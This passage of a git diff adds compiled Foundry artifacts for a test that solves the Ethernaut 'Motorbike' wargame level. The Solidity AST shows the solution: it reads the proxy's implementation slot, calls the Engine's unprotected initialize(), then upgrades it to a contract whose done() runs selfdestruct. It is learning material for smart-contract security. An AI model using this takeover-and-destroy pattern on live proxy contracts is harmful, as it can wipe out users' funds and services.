payable"}},"id":62701,"nodeType":"ExpressionStatement","src":"1427:78:139"},{"assignments":[62703],"declarations":[{"constant":false,"id":62703,"mutability":"mutable","name":"engine","nameLocation":"1523:6:139","nodeType":"VariableDeclaration","scope":62744,"src":"1515:14:139","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":62702,"name":"address","nodeType":"ElementaryTypeName","src":"1515:7:139","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":62718,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"id":62712,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62603,"src":"1577:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc","id":62713,"isConstant":false,"isLValue":false,"isPure":true,"kind":"hexString","lValueRequested":false,"nodeType":"Literal","src":"1587:69:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_75b20eef8615de99c108b05f0dbda081c91897128caa336d75dffb97c4132b4d","typeString":"literal_string hex\"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc\""}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_75b20eef8615de99c108b05f0dbda081c91897128caa336d75dffb97c4132b4d","typeString":"literal_string hex\"360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc\""}],"expression":{"id":62710,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1569:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62711,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1572:4:139","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"1569:7:139","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":62714,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1569:88:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":62709,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1561:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":62708,"name":"uint256","nodeType":"ElementaryTypeName","src":"1561:7:139","typeDescriptions":{}}},"id":62715,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1561:97:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":62707,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1553:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":62706,"name":"uint160","nodeType":"ElementaryTypeName","src":"1553:7:139","typeDescriptions":{}}},"id":62716,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1553:106:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":62705,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1532:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62704,"name":"address","nodeType":"ElementaryTypeName","src":"1532:7:139","typeDescriptions":{}}},"id":62717,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1532:137:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1515:154:139"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":62720,"name":"engine","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62703,"src":"1686:6:139","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62719,"name":"Engine","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62594,"src":"1679:6:139","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Engine_$62594_$","typeString":"type(contract Engine)"}},"id":62721,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1679:14:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Engine_$62594","typeString":"contract Engine"}},"id":62722,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1694:10:139","memberName":"initialize","nodeType":"MemberAccess","referencedDeclaration":62586,"src":"1679:25:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62723,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1679:27:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62724,"nodeType":"ExpressionStatement","src":"1679:27:139"},{"expression":{"arguments":[{"arguments":[{"id":62731,"name":"this","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-28,"src":"1756:4:139","typeDescriptions":{"typeIdentifier":"t_contract$_TestMotorbike_$62794","typeString":"contract TestMotorbike"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_TestMotorbike_$62794","typeString":"contract TestMotorbike"}],"id":62730,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1748:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62729,"name":"address","nodeType":"ElementaryTypeName","src":"1748:7:139","typeDescriptions":{}}},"id":62732,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1748:13:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"hexValue":"646f6e652829","id":62735,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1787:8:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_ae8421e192579dba0c002248e19188b9702d3629c322a803380b3008f31a16ed","typeString":"literal_string \"done()\""},"value":"done()"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ae8421e192579dba0c002248e19188b9702d3629c322a803380b3008f31a16ed","typeString":"literal_string \"done()\""}],"expression":{"id":62733,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"1763:3:139","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":62734,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"1767:19:139","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"1763:23:139","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":62736,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1763:33:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"arguments":[{"id":62726,"name":"engine","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62703,"src":"1723:6:139","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62725,"name":"Engine","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62594,"src":"1716:6:139","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Engine_$62594_$","typeString":"type(contract Engine)"}},"id":62727,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1716:14:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Engine_$62594","typeString":"contract Engine"}},"id":62728,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1731:16:139","memberName":"upgradeToAndCall","nodeType":"MemberAccess","referencedDeclaration":62593,"src":"1716:31:139","typeDescriptions":{"typeIdentifier":"t_function_external_payable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) payable external"}},"id":62737,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1716:81:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62738,"nodeType":"ExpressionStatement","src":"1716:81:139"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":62739,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1807:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62741,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1810:9:139","memberName":"stopPrank","nodeType":"MemberAccess","referencedDeclaration":15466,"src":"1807:12:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":62742,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1807:14:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62743,"nodeType":"ExpressionStatement","src":"1807:14:139"}]},"functionSelector":"0a9254e4","implemented":true,"kind":"function","modifiers":[],"name":"setUp","nameLocation":"758:5:139","parameters":{"id":62608,"nodeType":"ParameterList","parameters":[],"src":"763:2:139"},"returnParameters":{"id":62609,"nodeType":"ParameterList","parameters":[],"src":"773:0:139"},"scope":62794,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62761,"nodeType":"FunctionDefinition","src":"2080:161:139","nodes":[],"body":{"id":62760,"nodeType":"Block","src":"2107:134:139","nodes":[],"statements":[{"expression":{"arguments":[{"hexValue":"5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f207468652063757272656e742075736572","id":62752,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2133:50:139","typeDescriptions":{"typeIdentifier":"t_stringliteral_3fc2602a18cef61063c187d4c222a91651cdbd7a144611b2f3ee42205aee6376","typeString":"literal_string \"This instance doesn't belong to the current user\""},"value":"This instance doesn't belong to the current user"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3fc2602a18cef61063c187d4c222a91651cdbd7a144611b2f3ee42205aee6376","typeString":"literal_string \"This instance doesn't belong to the current user\""}],"expression":{"id":62749,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2117:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62751,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2120:12:139","memberName":"expectRevert","nodeType":"MemberAccess","referencedDeclaration":15646,"src":"2117:15:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) external"}},"id":62753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2117:67:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62754,"nodeType":"ExpressionStatement","src":"2117:67:139"},{"expression":{"arguments":[{"id":62756,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62601,"src":"2214:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"id":62757,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62603,"src":"2225:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62755,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2194:19:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62758,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2194:40:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":62759,"nodeType":"ExpressionStatement","src":"2194:40:139"}]},"documentation":{"id":62746,"nodeType":"StructuredDocumentation","src":"2012:63:139","text":"@notice Check the intial state of the level and enviroment."},"functionSelector":"b5d11e99","implemented":true,"kind":"function","modifiers":[],"name":"testInit","nameLocation":"2089:8:139","parameters":{"id":62747,"nodeType":"ParameterList","parameters":[],"src":"2097:2:139"},"returnParameters":{"id":62748,"nodeType":"ParameterList","parameters":[],"src":"2107:0:139"},"scope":62794,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62779,"nodeType":"FunctionDefinition","src":"2296:128:139","nodes":[],"body":{"id":62778,"nodeType":"Block","src":"2324:100:139","nodes":[],"statements":[{"expression":{"arguments":[{"id":62768,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62607,"src":"2348:6:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":62765,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2334:2:139","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":62767,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2337:10:139","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"2334:13:139","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":62769,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2334:21:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62770,"nodeType":"ExpressionStatement","src":"2334:21:139"},{"expression":{"arguments":[{"arguments":[{"id":62773,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62601,"src":"2396:9:139","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},{"id":62774,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":62603,"src":"2407:8:139","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62772,"name":"submitLevelInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66571,"src":"2376:19:139","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$","typeString":"function (contract Ethernaut,address) returns (bool)"}},"id":62775,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2376:40:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"id":62771,"name":"assertTrue","nodeType":"Identifier","overloadedDeclarations":[287,302],"referencedDeclaration":287,"src":"2365:10:139","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bool_$returns$__$","typeString":"function (bool) pure"}},"id":62776,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2365:52:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62777,"nodeType":"ExpressionStatement","src":"2365:52:139"}]},"documentation":{"id":62762,"nodeType":"StructuredDocumentation","src":"2247:44:139","text":"@notice Test the solution for the level."},"functionSelector":"832e5fc2","implemented":true,"kind":"function","modifiers":[],"name":"testSolve","nameLocation":"2305:9:139","parameters":{"id":62763,"nodeType":"ParameterList","parameters":[],"src":"2314:2:139"},"returnParameters":{"id":62764,"nodeType":"ParameterList","parameters":[],"src":"2324:0:139"},"scope":62794,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":62793,"nodeType":"FunctionDefinition","src":"2430:73:139","nodes":[],"body":{"id":62792,"nodeType":"Block","src":"2453:50:139","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"arguments":[{"hexValue":"30","id":62787,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"2492:1:139","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"id":62786,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2484:7:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":62785,"name":"address","nodeType":"ElementaryTypeName","src":"2484:7:139","typeDescriptions":{}}},"id":62788,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2484:10:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":62784,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2476:8:139","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":62783,"name":"address","nodeType":"ElementaryTypeName","src":"2476:8:139","stateMutability":"payable","typeDescriptions":{}}},"id":62789,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2476:19:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":62782,"name":"selfdestruct","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-21,"src":"2463:12:139","typeDescriptions":{"typeIdentifier":"t_function_selfdestruct_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable)"}},"id":62790,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2463:33:139","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":62791,"nodeType":"ExpressionStatement","src":"2463:33:139"}]},"functionSelector":"ae8421e1","implemented":true,"kind":"function","modifiers":[],"name":"done","nameLocation":"2439:4:139","parameters":{"id":62780,"nodeType":"ParameterList","parameters":[],"src":"2443:2:139"},"returnParameters":{"id":62781,"nodeType":"ParameterList","parameters":[],"src":"2453:0:139"},"scope":62794,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":62595,"name":"Test","nameLocations":["439:4:139"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"439:4:139"},"id":62596,"nodeType":"InheritanceSpecifier","src":"439:4:139"},{"baseName":{"id":62597,"name":"Utils","nameLocations":["445:5:139"],"nodeType":"IdentifierPath","referencedDeclaration":66673,"src":"445:5:139"},"id":62598,"nodeType":"InheritanceSpecifier","src":"445:5:139"}],"canonicalName":"TestMotorbike","contractDependencies":[49101,56450,58028],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[62794,66673,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestMotorbike","nameLocation":"422:13:139","scope":62795,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":139} \ No newline at end of file diff --git a/contracts/out/Motorbike.t.sol/TestMotorbike.json b/contracts/out/Motorbike.t.sol/TestMotorbike.json new file mode 100644 index 000000000..dcd7151dd --- /dev/null +++ b/contracts/out/Motorbike.t.sol/TestMotorbike.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"done","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50615c59806100715f395ff3fe608060405234801562000010575f80fd5b506004361062000198575f3560e01c806385db81cc11620000e3578063